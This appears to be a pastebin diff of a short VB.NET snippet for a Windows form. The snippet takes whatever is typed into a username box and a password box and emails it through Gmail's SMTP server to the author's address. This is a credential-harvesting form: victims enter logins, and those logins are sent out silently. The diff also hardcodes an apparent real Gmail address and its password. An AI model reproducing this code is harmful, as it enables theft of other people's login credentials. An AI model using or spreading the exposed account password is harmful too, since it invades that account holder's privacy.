SHOW:
|
|
- or go back to the newest paste.
| 1 | imports system.net.mail 'Put this above Public Class Form1 | |
| 2 | ||
| 3 | Dim smtpServer As New SmtpClient() 'Put this below Public Class Form1 | |
| 4 | Dim mail As New MailMessage() 'Put this below Public Class Form1 | |
| 5 | ||
| 6 | 'Put all the rest below the Private sub Buttun1_... | |
| 7 | - | smtpServer.Credentials = New Net.NetworkCredential("Your gmail", "Your gmail password")
|
| 7 | + | smtpServer.Credentials = New Net.NetworkCredential("iloveminecraft790@gmail.com", "243211period9")
|
| 8 | smtpServer.Port = 587 | |
| 9 | smtpServer.Host = "smtp.gmail.com" | |
| 10 | smtpServer.EnableSsl = True | |
| 11 | mail = New MailMessage() | |
| 12 | - | mail.From = New MailAddress("Your Gmail")
|
| 12 | + | mail.From = New MailAddress("iloveminecraft790@gmail.com")
|
| 13 | - | mail.To.Add("Your Gmail")
|
| 13 | + | mail.To.Add("iloveminecraft790@gmail.com")
|
| 14 | mail.Subject = "Username: " & TextBox1.Text | |
| 15 | mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text | |
| 16 | smtpServer.Send(mail) |
